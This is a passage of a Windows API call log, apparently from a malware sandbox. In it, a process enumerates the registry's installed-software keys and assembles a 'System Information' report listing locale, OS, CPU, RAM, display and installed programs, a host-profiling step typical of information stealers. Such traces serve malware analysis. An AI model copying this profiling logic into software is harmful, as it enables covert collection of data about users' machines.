12.0.21005 \n") returned 868 [0261.739] LocalAlloc (uFlags=0x40, uBytes=0x842) returned 0x6bfc08 [0261.740] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.740] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.741] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.741] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.741] LocalFree (hMem=0x6bec00) returned 0x0 [0261.741] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bec00 [0261.741] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x18, lpName=0x6bec00, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.741] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.742] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.742] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.742] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2005 Redistributable (x64)", lpcbData=0x24fac8*=0x60) returned 0x0 [0261.742] LocalAlloc (uFlags=0x40, uBytes=0x20c0) returned 0x6f35b0 [0261.742] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="8.0.61000", lpcbData=0x24facc*=0x14) returned 0x0 [0261.742] StrStrW (lpFirst="Microsoft Visual C++ 2005 Redistributable (x64)", lpSrch="8.0.61000") returned 0x0 [0261.742] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n") returned 59 [0261.742] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n", lpSrch="\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n") returned 0x0 [0261.742] lstrlenW (lpString="\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n") returned 59 [0261.742] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n") returned 929 [0261.742] LocalAlloc (uFlags=0x40, uBytes=0x8b8) returned 0x6e5058 [0261.743] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.743] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.744] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.744] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.744] LocalFree (hMem=0x6bec00) returned 0x0 [0261.744] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5918 [0261.744] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x19, lpName=0x6e5918, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.744] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.745] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.745] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.745] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030", lpcbData=0x24fac8*=0x76) returned 0x0 [0261.745] LocalAlloc (uFlags=0x40, uBytes=0x20ec) returned 0x6f35b0 [0261.745] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="11.0.61030", lpcbData=0x24facc*=0x16) returned 0x0 [0261.745] StrStrW (lpFirst="Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030", lpSrch="11.0.61030") returned="11.0.61030" [0261.745] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n") returned 61 [0261.745] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n", lpSrch="\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n") returned 0x0 [0261.745] lstrlenW (lpString="\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n") returned 61 [0261.745] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n") returned 988 [0261.745] LocalAlloc (uFlags=0x40, uBytes=0x932) returned 0x6bec00 [0261.746] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.746] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.746] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.746] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.747] LocalFree (hMem=0x6e5918) returned 0x0 [0261.747] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6bf540 [0261.747] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1a, lpName=0x6bf540, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="{EEA66967-97E2-4561-A999-5C22E3CDE428}", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.747] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="{EEA66967-97E2-4561-A999-5C22E3CDE428}", ulOptions=0x0, samDesired=0x20119, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.747] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.747] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.747] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac8*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508", lpcbData=0x24fac8*=0x78) returned 0x0 [0261.747] LocalAlloc (uFlags=0x40, uBytes=0x20f0) returned 0x6f35b0 [0261.747] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayVersion", lpReserved=0x0, lpType=0x24fad0, lpData=0x6f15a8, lpcbData=0x24facc*=0x1000 | out: lpType=0x24fad0*=0x1, lpData="14.25.28508", lpcbData=0x24facc*=0x18) returned 0x0 [0261.748] StrStrW (lpFirst="Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508", lpSrch="14.25.28508") returned="14.25.28508" [0261.748] wsprintfW (in: param_1=0x6f35b0, param_2="\x09%s %s\n" | out: param_1="\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n") returned 62 [0261.748] StrStrW (lpFirst="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n", lpSrch="\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n") returned 0x0 [0261.748] lstrlenW (lpString="\x09Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.25.28508 \n") returned 62 [0261.748] lstrlenW (lpString="System Information: \n\x09- Locale: English\n\x09- Time zone: +60 minutes from GMT\n\x09- OS: Windows 7 Professional\n\x09- Architecture: x64\n\x09- CPU: Intel(R) Core(TM) i5-7500 CPU @ 3.40GH (4 cores)\n\x09- RAM: 4096 MB\n\x09- Display size: 1440x900\n\x09- Display Devices:\n\x09\x090) Standard VGA Graphics Adapter\n\nInstalled applications:\n\x09Microsoft .NET Framework 4.8 4.8.03761\n\x09Microsoft Visual C++ 2010 x64 Redistributable - 10.0.40219 \n\x09Microsoft Visual C++ 2012 x64 Additional Runtime - 11.0.61030 \n\x09Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 \n\x09Microsoft Visual C++ 2019 X64 Additional Runtime - 14.25.28508 \n\x09Microsoft Office 64-bit Components 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Office Shared 64-bit Setup Metadata MUI (English) 2016 16.0.4266.1001\n\x09Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 \n\x09Microsoft Visual C++ 2005 Redistributable (x64) 8.0.61000\n\x09Microsoft Visual C++ 2012 x64 Minimum Runtime - 11.0.61030 \n") returned 1049 [0261.748] LocalAlloc (uFlags=0x40, uBytes=0x9ae) returned 0x6e5058 [0261.748] LocalFree (hMem=0x6f35b0) returned 0x0 [0261.749] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.749] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.749] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.749] LocalFree (hMem=0x6bf540) returned 0x0 [0261.749] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.749] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1b, lpName=0x6e5a10, lpcchName=0x24fac0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0x24fac0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0261.749] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.750] RegCloseKey (hKey=0x1c) returned 0x0 [0261.750] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fad8 | out: phkResult=0x24fad8*=0x1c) returned 0x0 [0261.751] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.751] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x0, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.752] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.752] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.752] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.752] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.752] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.752] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.753] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.753] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.753] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.753] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x1, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.754] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.754] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.754] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.754] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.754] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.755] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.755] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.755] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.755] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.755] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x2, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.761] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.762] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.762] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.762] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.762] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.762] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.762] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.763] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.763] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.763] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x3, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.763] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.763] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.763] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.763] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.764] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.764] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.764] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.764] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.764] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.764] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x4, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.764] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.765] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.765] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.765] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.765] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.765] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.765] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.766] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.766] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.766] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x5, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.766] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.766] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.766] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.766] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.767] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.767] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.767] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.767] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.767] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.767] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x6, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.767] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.768] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.768] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.768] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.768] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.768] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.768] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.769] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.769] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.769] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x7, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.769] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.769] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.769] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.769] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.770] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.770] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.770] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.771] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.771] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.771] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x8, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="MobileOptionPack", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.771] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="MobileOptionPack", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.771] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.771] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.771] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, lpType=0x24fad0, lpData=0x6ef5a0, lpcbData=0x24fac4*=0x1000 | out: lpType=0x24fad0*=0x0, lpData=0x6ef5a0*=0x0, lpcbData=0x24fac4*=0x1000) returned 0x2 [0261.771] LocalFree (hMem=0x6f15a8) returned 0x0 [0261.772] LocalFree (hMem=0x6ef5a0) returned 0x0 [0261.772] RegCloseKey (hKey=0x2b8) returned 0x0 [0261.772] LocalFree (hMem=0x6e5a10) returned 0x0 [0261.772] LocalAlloc (uFlags=0x40, uBytes=0x1000) returned 0x6e5a10 [0261.772] RegEnumKeyExW (in: hKey=0x1c, dwIndex=0x9, lpName=0x6e5a10, lpcchName=0x24fab8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Office16.PROPLUS", lpcchName=0x24fab8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0261.772] RegOpenKeyExW (in: hKey=0x1c, lpSubKey="Office16.PROPLUS", ulOptions=0x0, samDesired=0x20019, phkResult=0x24fae8 | out: phkResult=0x24fae8*=0x2b8) returned 0x0 [0261.772] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6ef5a0 [0261.772] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f15a8 [0261.772] RegQueryValueExW (in: hKey=0x2b8, lpValueName="DisplayName", lpReserved=0x0, 